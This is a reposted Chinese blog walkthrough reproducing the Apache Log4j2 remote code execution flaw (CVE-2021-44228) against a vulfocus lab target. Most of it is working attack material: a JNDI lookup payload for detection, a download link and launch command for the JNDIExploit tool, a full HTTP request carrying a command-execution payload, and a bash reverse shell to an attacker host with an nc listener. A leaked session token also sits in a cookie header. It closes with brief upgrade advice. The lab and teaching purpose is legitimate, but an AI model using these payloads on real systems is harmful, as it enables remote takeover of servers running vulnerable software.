[转]Apache Log4j2远程代码执行漏洞复现及修复建议

环境:本实验使用vulfocus提供的Log4j2远程命令执行靶机。
声明:文章所提供的内容和工具仅供于个人学习和研究,严禁传播者利用本文章的相关内容进行非法测试。由于传播、利用此文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

[转]Apache Log4j2远程代码执行漏洞复现及修复建议

背景:

Apache Log4j2是一款优秀的Java日志框架。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。(此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。)

漏洞编号:

CNVD-2021-95914
CVE-2021-44228

影响版本:

经验证 2.15.0-rc1 版本存在绕过,实际受影响范围如下:

Apache Log4j 2.x < 2.15.0-rc2

影响力度:

2021.12.09 漏洞爆出后,新一轮拒绝服务漏洞相继爆出。各种测试网图流传,堪比安全圈过年,各类java项目、全球大厂几乎都受漏洞影响,且利用难度级低,严重程度级高,看图吃瓜:

百度:
[转]Apache Log4j2远程代码执行漏洞复现及修复建议
苹果:
[转]Apache Log4j2远程代码执行漏洞复现及修复建议
网易云:
[转]Apache Log4j2远程代码执行漏洞复现及修复建议
无厘头:
[转]Apache Log4j2远程代码执行漏洞复现及修复建议

环境搭建:

方式一
靶机地址:http://vulfocus.fofa.so/#

方式二
docker搭建:docker pull vulfocus/log4j2-rce-2021-12-09:latest

靶机访问如下:
[转]Apache Log4j2远程代码执行漏洞复现及修复建议

验证漏洞是否存在:

1、使用Dnslog平台验证:
Dnslog地址:http://www.dnslog.cn/

2、使用burpsuit抓包,构造poc请求:
poc → ${jndi:ldap://dnslog address/poc}
[转]Apache Log4j2远程代码执行漏洞复现及修复建议

3、Dnslog平台收到请求,证明漏洞存在。

漏洞利用:

利用工具:

链接:https://pan.baidu.com/s/1ABBPDmtMQktehVBt5MYwvg 
提取码:gr3n
  1. 使用圈内大佬的漏洞Exp ,JNDIExploit-1.2-SNAPSHOT.jar包 ;

  2. 在vps上运行JNDI服务,LDAP监听端口为7000,http监听端口为5000

    java -jar JNDIExploit-1.2-SNAPSHOT.jar -i ... -l 7000 -p 5000
    //注意:外网环境利用需要出外网,命令中填写公网IP

JNDI服务启动如下:
[转]Apache Log4j2远程代码执行漏洞复现及修复建议
利用方式一(远程命令执行拿flag)

  • 抓包,构造payload请求包

    //构造后的请求包
    POST /hello HTTP/1.1
    Host: vulfocus.fofa.so:22151
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: Hm_lvt_b5514a35664fd4ac6a893a1e56956c97=1636684504,1638936049; Hm_lpvt_b5514a35664fd4ac6a893a1e56956c97=1639040366; Hm_lvt_deaeca6802357287fb453f342ce28dda=1637137942,1639100636,1639115500; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo5MzUyLCJ1c2VybmFtZSI6ImFmdGVyIiwiZXhwIjoxNjM5NDY0NzUxLCJlbWFpbCI6IjE5Nzc0NjU0NDFAcXEuY29tIn0.YnY3gk_aKKdcdZ954LndmQZji66gOtGeMgHQ-jtjYQg; Hm_lpvt_deaeca6802357287fb453f342ce28dda=1639385736
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 66
    cmd:ls /tmp

    payload=${jndi:ldap://...:7000/TomcatBypass/TomcatEcho}

成功命令回显,拿到flag
[转]Apache Log4j2远程代码执行漏洞复现及修复建议
利用方式二(反弹shell,控制靶机)

  1. 利用bash反弹shell

    同方式一请求包cmd命令换成:
    /bin/bash -c ‘bash -i >& /dev/tcp/.../5001 0>&1’

  2. vps接收shell

    nc -lvvp 5001

如下如,成功反弹shell,控制靶机:
[转]Apache Log4j2远程代码执行漏洞复现及修复建议

解决方案:

  1. 升级至 log4j-2.15.0-rc2

    下载地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

  2. 对于漏洞整改及排查推荐大佬的文章:
    (针对无法立即升级用户)
    https://mp.weixin.qq.com/s/Jaq5NTwqBMX7mKMklDnOtA


作者:. after
来源:CSDN
原文:https://blog.csdn.net/isxiaole/article/details/121912039
版权声明:本文为作者原创文章,转载请附上博文链接!

上一篇:educoder Lucene - 全文检索入门


下一篇:Zookeeper 在Windows下的安装过程及查看